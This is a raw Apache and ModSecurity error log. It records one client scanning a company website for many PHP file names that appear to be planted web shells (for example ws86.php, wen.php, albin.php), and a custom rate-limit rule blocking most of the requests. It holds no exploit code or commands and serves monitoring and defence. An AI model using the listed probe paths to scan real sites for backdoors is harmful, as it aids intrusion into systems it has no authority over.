[Sat Mar 28 07:56:37.189571 2026] [:error] [pid 43547:tid 43567] [client 20.220.9.32:27411] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lowpr.php"] [unique_id "accZNT4ZEfdetXP-9aC1YQAAAhI"]
[Sat Mar 28 07:56:38.606257 2026] [:error] [pid 64860:tid 64923] [client 20.220.9.32:27398] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lowpr.php"] [unique_id "accZNhkU3N0pg_4aEL_mSQAAAE8"]
[Sat Mar 28 07:56:40.019394 2026] [:error] [pid 64860:tid 64918] [client 20.220.9.32:27625] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lowpr.php"] [unique_id "accZOBkU3N0pg_4aEL_mUAAAAEo"]
[Sat Mar 28 07:56:41.450940 2026] [:error] [pid 64859:tid 64890] [client 20.220.9.32:27455] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lowpr.php"] [unique_id "accZOW3qEBHXq3rHdBmwFQAAAAk"]
[Sat Mar 28 07:56:42.886167 2026] [:error] [pid 64860:tid 64916] [client 20.220.9.32:27415] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gfd.php"] [unique_id "accZOhkU3N0pg_4aEL_mVwAAAEg"]
[Sat Mar 28 07:56:44.307537 2026] [:error] [pid 64859:tid 64881] [client 20.220.9.32:27538] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gfd.php"] [unique_id "accZPG3qEBHXq3rHdBmwGQAAAAA"]
[Sat Mar 28 07:56:45.734823 2026] [:error] [pid 34597:tid 34609] [client 20.220.9.32:27535] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gfd.php"] [unique_id "accZPYluI7-e5s1cafcmvAAAAUg"]
[Sat Mar 28 07:56:47.154993 2026] [:error] [pid 43579:tid 43632] [client 20.220.9.32:27463] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gfd.php"] [unique_id "accZPyRqN4JVI8gB7AmWnwAAApg"]
[Sat Mar 28 07:56:48.568441 2026] [:error] [pid 64860:tid 64919] [client 20.220.9.32:27629] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/144.php"] [unique_id "accZQBkU3N0pg_4aEL_mbAAAAEs"]
[Sat Mar 28 07:56:50.027609 2026] [:error] [pid 64860:tid 64917] [client 20.220.9.32:27404] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/144.php"] [unique_id "accZQhkU3N0pg_4aEL_megAAAEk"]
[Sat Mar 28 07:56:51.439511 2026] [:error] [pid 64860:tid 64923] [client 20.220.9.32:27347] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/144.php"] [unique_id "accZQxkU3N0pg_4aEL_mgQAAAE8"]
[Sat Mar 28 07:56:52.855484 2026] [:error] [pid 64861:tid 64942] [client 20.220.9.32:27630] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/144.php"] [unique_id "accZROxK22_lUN2kvnVvPgAAAIc"]
[Sat Mar 28 07:56:54.626373 2026] [:error] [pid 64860:tid 64920] [client 20.220.9.32:27431] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "accZRhkU3N0pg_4aEL_migAAAEw"]
[Sat Mar 28 07:56:56.075836 2026] [:error] [pid 64860:tid 64916] [client 20.220.9.32:27615] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "accZSBkU3N0pg_4aEL_mkwAAAEg"]
[Sat Mar 28 07:56:57.558994 2026] [:error] [pid 64860:tid 64921] [client 20.220.9.32:27514] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "accZSRkU3N0pg_4aEL_mmwAAAE0"]
[Sat Mar 28 07:56:59.000120 2026] [:error] [pid 34631:tid 34680] [client 20.220.9.32:27418] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "accZSjtzjMMS6kojpeQ4QQAAAdQ"]
[Sat Mar 28 07:57:00.447504 2026] [:error] [pid 2877:tid 2890] [client 20.220.9.32:27506] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "accZTLgM4xL1Xj409YTfGQAAAQs"]
[Sat Mar 28 07:57:01.922010 2026] [:error] [pid 64860:tid 64926] [client 20.220.9.32:27487] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "accZTRkU3N0pg_4aEL_mpQAAAFI"]
[Sat Mar 28 07:57:03.350882 2026] [:error] [pid 43547:tid 43568] [client 20.220.9.32:27271] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "accZTz4ZEfdetXP-9aC1eAAAAhM"]
[Sat Mar 28 07:57:04.799846 2026] [:error] [pid 34631:tid 34673] [client 20.220.9.32:27635] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "accZUDtzjMMS6kojpeQ4SQAAAc0"]
[Sat Mar 28 07:57:06.868414 2026] [:error] [pid 64861:tid 64941] [client 20.220.9.32:27531] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "accZUuxK22_lUN2kvnVvVwAAAIY"]
[Sat Mar 28 07:57:08.299940 2026] [:error] [pid 34631:tid 34662] [client 20.220.9.32:27366] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "accZVDtzjMMS6kojpeQ4TAAAAcI"]
[Sat Mar 28 07:57:09.915276 2026] [:error] [pid 64859:tid 64898] [client 20.220.9.32:27583] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "accZVW3qEBHXq3rHdBmwJgAAABE"]
[Sat Mar 28 07:57:11.350471 2026] [:error] [pid 64859:tid 64882] [client 20.220.9.32:27637] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "accZV23qEBHXq3rHdBmwKAAAAAE"]
[Sat Mar 28 07:57:12.803852 2026] [:error] [pid 64860:tid 64920] [client 20.220.9.32:27461] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/baixy.php"] [unique_id "accZWBkU3N0pg_4aEL_msQAAAEw"]
[Sat Mar 28 07:57:14.221765 2026] [:error] [pid 64860:tid 64922] [client 20.220.9.32:27523] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/baixy.php"] [unique_id "accZWhkU3N0pg_4aEL_mtwAAAE4"]
[Sat Mar 28 07:57:15.642329 2026] [:error] [pid 64859:tid 64887] [client 20.220.9.32:27504] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/baixy.php"] [unique_id "accZW23qEBHXq3rHdBmwLQAAAAY"]
[Sat Mar 28 07:57:17.065906 2026] [:error] [pid 64860:tid 64924] [client 20.220.9.32:27443] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/baixy.php"] [unique_id "accZXRkU3N0pg_4aEL_mvQAAAFA"]
[Sat Mar 28 07:57:18.496718 2026] [:error] [pid 64861:tid 64958] [client 20.220.9.32:27598] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "accZXuxK22_lUN2kvnVvdQAAAJc"]
[Sat Mar 28 07:57:19.922887 2026] [:error] [pid 34631:tid 34678] [client 20.220.9.32:27452] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "accZXztzjMMS6kojpeQ4VwAAAdI"]
[Sat Mar 28 07:57:21.344888 2026] [:error] [pid 64860:tid 64919] [client 20.220.9.32:27439] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "accZYRkU3N0pg_4aEL_m2QAAAEs"]
[Sat Mar 28 07:57:22.757887 2026] [:error] [pid 64861:tid 64937] [client 20.220.9.32:27444] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "accZYuxK22_lUN2kvnVvkAAAAII"]
[Sat Mar 28 07:57:24.196043 2026] [:error] [pid 64860:tid 64918] [client 20.220.9.32:27557] File does not exist: /usr/local/apache/htdocs/suspended-page/xsas.php
[Sat Mar 28 07:57:24.417514 2026] [:error] [pid 64860:tid 64911] [client 20.220.9.32:27557] File does not exist: /usr/local/apache/htdocs/suspended-page/callback.php
[Sat Mar 28 07:57:24.847655 2026] [:error] [pid 64860:tid 64929] [client 20.220.9.32:27557] File does not exist: /usr/local/apache/htdocs/suspended-page/ws83.php
[Sat Mar 28 07:57:25.061921 2026] [:error] [pid 64860:tid 64921] [client 20.220.9.32:27557] File does not exist: /usr/local/apache/htdocs/suspended-page/ws49.php
[Sat Mar 28 07:57:25.275643 2026] [:error] [pid 64860:tid 64910] [client 20.220.9.32:27557] File does not exist: /usr/local/apache/htdocs/suspended-page/mh.php
[Sat Mar 28 07:57:25.489830 2026] [:error] [pid 64860:tid 64912] [client 20.220.9.32:27557] File does not exist: /usr/local/apache/htdocs/suspended-page/bo.php
[Sat Mar 28 07:57:25.705834 2026] [:error] [pid 64860:tid 64916] [client 20.220.9.32:27557] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Sat Mar 28 07:57:25.923581 2026] [:error] [pid 64860:tid 64908] [client 20.220.9.32:27557] File does not exist: /usr/local/apache/htdocs/suspended-page/torsa1.php
[Sat Mar 28 07:57:26.140812 2026] [:error] [pid 64860:tid 64920] [client 20.220.9.32:27557] File does not exist: /usr/local/apache/htdocs/suspended-page/vx.php
[Sat Mar 28 07:57:26.357696 2026] [:error] [pid 64860:tid 64909] [client 20.220.9.32:27557] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Sat Mar 28 07:57:26.821991 2026] [:error] [pid 64860:tid 64909] [client 20.220.9.32:27557] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "accZZhkU3N0pg_4aEL_nCgAAAEE"]
[Sat Mar 28 07:57:28.249847 2026] [:error] [pid 64859:tid 64885] [client 20.220.9.32:27437] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "accZaG3qEBHXq3rHdBmwMgAAAAQ"]
[Sat Mar 28 07:57:29.698482 2026] [:error] [pid 64859:tid 64901] [client 20.220.9.32:27478] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "accZaW3qEBHXq3rHdBmwMwAAABQ"]
[Sat Mar 28 07:57:31.142592 2026] [:error] [pid 64859:tid 64891] [client 20.220.9.32:27336] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albin.php"] [unique_id "accZa23qEBHXq3rHdBmwNAAAAAo"]
[Sat Mar 28 07:57:32.566809 2026] [:error] [pid 43547:tid 43556] [client 20.220.9.32:27552] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "accZbD4ZEfdetXP-9aC1ggAAAgc"]
[Sat Mar 28 07:57:34.003307 2026] [:error] [pid 43578:tid 43583] [client 20.220.9.32:27499] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "accZbnNG2YdGm41aN8LkKwAAAkI"]
[Sat Mar 28 07:57:35.443358 2026] [:error] [pid 64860:tid 64926] [client 20.220.9.32:27585] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "accZbxkU3N0pg_4aEL_nGgAAAFI"]
[Sat Mar 28 07:57:36.879376 2026] [:error] [pid 43547:tid 43557] [client 20.220.9.32:27362] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/myfile.php"] [unique_id "accZcD4ZEfdetXP-9aC1iAAAAgg"]
[Sat Mar 28 07:57:38.300302 2026] [:error] [pid 64860:tid 64917] [client 20.220.9.32:27639] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "accZchkU3N0pg_4aEL_nKQAAAEk"]
[Sat Mar 28 07:57:39.724652 2026] [:error] [pid 64860:tid 64908] [client 20.220.9.32:27622] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "accZcxkU3N0pg_4aEL_nLQAAAEA"]
[Sat Mar 28 07:57:41.156893 2026] [:error] [pid 34631:tid 34684] [client 20.220.9.32:27464] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "accZdTtzjMMS6kojpeQ4fQAAAdg"]
[Sat Mar 28 07:57:42.582459 2026] [:error] [pid 64860:tid 64915] [client 20.220.9.32:27492] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "accZdhkU3N0pg_4aEL_nNQAAAEc"]
[Sat Mar 28 07:57:44.019929 2026] [:error] [pid 34597:tid 34608] [client 20.220.9.32:27426] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "accZeIluI7-e5s1cafcm4gAAAUc"]
[Sat Mar 28 07:57:45.449536 2026] [:error] [pid 64860:tid 64926] [client 20.220.9.32:27405] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "accZeRkU3N0pg_4aEL_nSQAAAFI"]
[Sat Mar 28 07:57:46.882138 2026] [:error] [pid 64966:tid 64986] [client 20.220.9.32:27613] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "accZetfSvF5AFfSuKxX46AAAAM0"]
[Sat Mar 28 07:57:48.304441 2026] [:error] [pid 34597:tid 34612] [client 20.220.9.32:27502] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "accZfIluI7-e5s1cafcm7AAAAUs"]
[Sat Mar 28 07:57:49.725247 2026] [:error] [pid 64860:tid 64910] [client 20.220.9.32:27463] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws75.php"] [unique_id "accZfRkU3N0pg_4aEL_naQAAAEI"]
[Sat Mar 28 07:57:51.147445 2026] [:error] [pid 34631:tid 34670] [client 20.220.9.32:27275] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws75.php"] [unique_id "accZfztzjMMS6kojpeQ4jQAAAco"]
[Sat Mar 28 07:57:52.569736 2026] [:error] [pid 34631:tid 34668] [client 20.220.9.32:27611] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws75.php"] [unique_id "accZgDtzjMMS6kojpeQ4kAAAAcg"]
[Sat Mar 28 07:57:53.991724 2026] [:error] [pid 34597:tid 34607] [client 20.220.9.32:27380] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws75.php"] [unique_id "accZgYluI7-e5s1cafcm9AAAAUY"]
[Sat Mar 28 07:57:55.449780 2026] [:error] [pid 64859:tid 64901] [client 20.220.9.32:27351] [client 20.220.9.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "accZg23qEBHXq3rHdBmwPgAAABQ"]
